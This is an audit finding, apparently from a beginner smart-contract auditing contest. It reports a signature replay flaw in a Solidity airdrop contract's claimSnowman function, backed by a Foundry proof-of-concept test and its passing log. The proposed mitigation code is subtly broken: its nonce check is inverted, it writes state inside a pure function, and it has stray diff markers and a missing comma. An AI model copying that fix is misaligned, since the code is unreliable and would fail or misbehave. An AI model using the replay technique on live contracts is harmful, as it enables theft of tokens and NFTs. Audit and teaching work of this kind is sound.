Snowman Merkle Airdrop

First Flight #42
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Replay Attack Vulnerability in `SnowmanAirdrop::claimSnowman()`

Description

The SnowmanAirdrop::claimSnowman() function is vulnerable to replay attacks due to the insecure construction of the signed message hash in getMessageHash() function. The hash includes a dynamic amount value based on the user's current snow token balance, which can be manipulated after the signature is created. This allows an attacker to manipulate the balance and reuse the same valid signature multiple times, enabling unauthorised or repeated airdrop claims.

function getMessageHash(address receiver) public view returns (bytes32) {
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
@> uint256 amount = i_snow.balanceOf(receiver);
return _hashTypedDataV4(
keccak256(abi.encode(MESSAGE_TYPEHASH, SnowmanClaim({receiver: receiver, amount: amount})))
);
}

Impact

An attacker can reuse the same valid signed message from a user multiple times, allowing unauthorised control. This can:

  • Drain the user's Snow token balances repeatedly.

  • Inflate NFT supply.

  • Break the intended single-claim logic.

Proof of Concept

  1. Alice signs a message to allow an airdrop claim.

  2. Satoshi calls SnowmanAirdrop::claimSnowman with Alice's signature and succeeds.

  3. An attacker calls the same function again with same signature and succeeds again.

  4. Alice now has multiple NFTs claimed from a single intent.

This is possible because the message hash includes amount, which is dynamic and changes depending on the current token balance, which can be manipulated.

Proof of Code

function testReplayAttackByRelayer() public {
console2.log("Testing Replay Attack on claimSnowman");
assert(nft.balanceOf(alice) == 0);
vm.prank(alice);
snow.approve(address(airdrop), type(uint256).max);
// Get alice's digest and signed message
bytes32 alDigest = airdrop.getMessageHash(alice);
(uint8 alV, bytes32 alR, bytes32 alS) = vm.sign(alKey, alDigest);
console2.log("Alice snow token balance before satoshi claim for her", snow.balanceOf(alice));
console2.log("Alice nftToken balance before satoshi claim for her", nft.balanceOf(alice));
// satoshi calls claims on behalf of alice using her signed message to claim her airdrop for her
vm.prank(satoshi);
airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS);
console2.log("Alice snow token balance after satoshi claim for her", snow.balanceOf(alice));
console2.log("Alice nftToken balance after satoshi claim for her", nft.balanceOf(alice));
assert(nft.balanceOf(alice) == 1);
assert(nft.ownerOf(0) == alice);
// assuming alice now buy/earn snow token after sastoshi have claimed the airdrop
// or Attacker transfer snow token to alice address
vm.startPrank(alice);
uint256 FEE = snow.s_buyFee();
snow.buySnow{value: FEE}(1);
assertEq(snow.balanceOf(alice), 1); // since amount is dynamic it can be manupulated
vm.stopPrank();
console2.log("ReplayAttak: Alice snow token balance before satoshi claim for her", snow.balanceOf(alice));
console2.log("ReplayAttack: Alice nftToken balance before satoshi claim for her", nft.balanceOf(alice));
// Attacker calls claims on behalf of alice using her signed message
vm.prank(attacker);
airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS);
assert(nft.balanceOf(alice) == 2);
console2.log("ReplayAttak: Alice snow token balance AFTER satoshi claim for her", snow.balanceOf(alice));
console2.log("ReplayAttack: Alice nftToken balance AFTER satoshi claim for her", nft.balanceOf(alice));
}
Ran 1 test for test/TestSnowmanAirdrop.t.sol:TestSnowmanAirdrop
[PASS] testReplayAttackByRelayer() (gas: 292482)
Logs:
Testing Replay Attack on claimSnowman
Alice snow token balance before satoshi claim for her 1
Alice nftToken balance before satoshi claim for her 0
Alice snow token balance after satoshi claim for her 0
Alice nftToken balance after satoshi claim for her 1
ReplayAttak: Alice snow token balance before satoshi claim for her 1
ReplayAttack: Alice nftToken balance before satoshi claim for her 1
ReplayAttak: Alice snow token balance AFTER satoshi claim for her 0
ReplayAttack: Alice nftToken balance AFTER satoshi claim for her 2
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.14ms (1.35ms CPU time)

Recommended Mitigation

To prevent signature replay, we need to make these changes.

  1. Add a nonce and deadline in the SnowmanAirdrop::SnowmanClaim struct to make it more replay resistant.

struct SnowmanClaim {
address receiver;
uint256 amount;
+ uint256 deadline;
+ uint256 nonce
}
  1. Update the MESSAGE_TYPEHASH to the newly updated struct.

- bytes32 private constant MESSAGE_TYPEHASH = keccak256("SnowmanClaim(addres receiver, uint256 amount)");
+ bytes32 public constant MESSAGE_TYPEHASH = keccak256("SnowmanClaim(address receiver, uint256 amount, uint256 deadline, uint256 nonce)");
  1. Add a mapping to keep track of whether the nonce has been used or not.

// Track used nonces to prevent replay
+ mapping(address => mapping(uint256 => bool)) public noncesUsed;
  1. Update the getMessageHash , _isValidSignature and claimSnowman function.

- function getMessageHash(address receiver) public view returns (bytes32) {
+ function getMessageHash(address receiver, uint256 deadline, uint256 nonce) public view returns (bytes32) {
// other code
+ return _hashTypedDataV4(keccak256(abi.encode(MESSAGE_TYPEHASH, receiver, amount, deadline, nonce)));
- function _isValidSignature(address receiver, bytes32 digest, uint8 v, bytes32 r, bytes32 s)
+ - function _isValidSignature(address receiver, uint256 deadline, uint256 nonce bytes32 digest, uint8 v, bytes32 r, bytes32 s)
internal
pure
returns (bool)
{
+ require(noncesUsed[receiver][nonce], "Nonced used already!");
+ noncesUsed[receiver][nonce] = true;
+ require(block.timestamp < deadline, "Expired");
(address actualSigner,,) = ECDSA.tryRecover(digest, v, r, s);
return actualSigner == receiver;
}
- function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
+ function claimSnowman(address receiver, uint256 deadline, uint256 nonce, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
- if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) {
+ if (!_isValidSignature(receiver, getMessageHash(receiver, deadline, nonce), v, r, s)) {

This updated implementation mitigates replay attacks by validating that the nonce is unused and the deadline has not passed before accepting any claim.

Updates

Lead Judging Commences

yeahchibyke Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Invalid merkle-proof as a result of snow balance change before claim action

Claims use snow balance of receiver to compute the merkle leaf, making proofs invalid if the user’s balance changes (e.g., via transfers). Attackers can manipulate balances or frontrun claims to match eligible amounts, disrupting the airdrop.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.